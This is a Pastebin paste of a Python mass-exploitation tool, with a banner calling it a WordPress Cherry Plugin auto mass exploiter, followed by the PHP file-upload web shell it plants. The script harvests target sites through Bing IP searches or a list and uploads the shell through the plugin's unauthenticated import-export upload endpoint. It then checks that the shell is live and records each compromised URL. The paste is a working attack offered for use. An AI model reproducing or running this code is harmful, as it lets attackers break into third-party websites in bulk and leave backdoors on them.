Not a member of Pastebin yet?
Sign Up,
it unlocks many cool features!
- Cherry.py :
- ====================================================
- import re , urllib2 , os , requests
- from platform import system
- if system() == 'Linux':
- os.system('clear')
- if system() == 'Windows':
- os.system('cls')
- site = []
- filname = 'upload.php'
- banner = '''
- ,--. ,--. ,--. ,--.
- | `.' |,--.--. | | ,---. | |,-. ,---. ,--.--.
- | |'.'| || .--',--. | || .-. || /| .-. :| .--'
- | | | || | | '-' /' '-' '| \ \\ --.| |
- `--' `--'`--' `-----' `---' `--'`--'`----'`--'
- ================================================================
- || Welcome To Cherry Plugin ( WordPress ) Auto Mass Exploiter ||
- ================================================================
- || Coded By : MrJoker - Libyan Attacker ||
- ================================================================
- || Skype : live:mr9_9 - Face : 1337MrJoker ||
- ================================================================
- '''
- def unique(seq):
- seen = set()
- return [seen.add(x) or x for x in seq if x not in seen]
- print banner
- def exploit(link):
- try:
- dirx = '/wp-content/plugins/cherry-plugin/admin/import-export/upload.php'
- xxxxe = link + dirx
- files={'file':(filname, open(filname,'rb'),'multipart/form-data')}
- r = requests.post(xxxxe, files=files)
- bb = filname
- shelldir = '/wp-content/plugins/cherry-plugin/admin/import-export/'+bb
- shelled = link + shelldir
- openbing = urllib2.urlopen(shelled)
- readbing = openbing.read()
- if re.findall("izocin", readbing):
- print ("[#]=> %s [ ok ]" % shelled)
- if not os.path.exists("Result"):
- os.mkdir("Result", 0755);
- with open("Result/cherry.txt", 'a') as neo:
- neo.write("[#]=> %s [ ok ]" % shelled)
- neo.write("\n")
- except :
- pass
- def test(url):
- try:
- openbing = urllib2.urlopen(url)
- readbing = openbing.read()
- if re.findall("WordPress", readbing):
- print "[!]-> Scanning : " + url
- exploit(url)
- else:
- pass
- except:
- pass
- def grabber(s):
- global site
- xxxx = []
- page = 1
- while page <= 101:
- bing = "http://www.bing.com/search?q=ip%3A" + s + "+&count=50&first=" + str(page)
- openbing = urllib2.urlopen(bing)
- readbing = openbing.read()
- findwebs = re.findall('<h2><a href="(.*?)"', readbing)
- for i in range(len(findwebs)):
- allnoclean = findwebs[i]
- findall1 = re.findall('http://(.*?)/', allnoclean)
- for idx, item in enumerate(findall1):
- if 'www' not in item:
- findall1[idx] = 'http://www.' + item + '/'
- else:
- findall1[idx] = 'http://' + item + '/'
- xxxx.extend(findall1)
- page = page + 10
- final = unique(xxxx)
- site.extend(final)
- def main():
- print "\r\n1)-\tFrom Server IP\n2)-\tFrom WebSite\n"
- c = raw_input("What Do You Want ?\n")
- if c == '1':
- ip = raw_input('[+] Enter Server IP : ')
- try:
- print banner
- grabber(str(ip))
- for _site in site:
- test(_site)
- except:
- pass
- elif c == '2':
- list = raw_input('[+] Enter List Name : ')
- try:
- file = open(list).readlines()
- print banner
- if (len(file) > 0):
- for attack in file:
- _attack = attack.rstrip()
- test(_attack)
- except:
- pass
- else:
- pass
- if __name__ == '__main__':
- main()
- ====================================================
- upload.php :
- ====================================================
- izocin
- <?php
- echo '<title>Upload Files xSecurity</title>
- <h1>izocin</h1>
- ';
- echo '<form action="" method="post" enctype="multipart/form-data" name="uploader" id="uploader">';
- echo '<input type="file" name="file" size="50"><input name="_upl" type="submit" id="_upl" value="Upload"></form>';
- if( $_POST['_upl'] == "Upload" ) {
- if(@copy($_FILES['file']['tmp_name'], $_FILES['file']['name'])) { echo '<b>Upload Complate !!!</b><br><br>'; }
- else { echo '<b>Upload Failed !!!</b><br><br>'; }
- }
- ?>
- ====================================================
Advertisement
Add Comment
Please, Sign In to add comment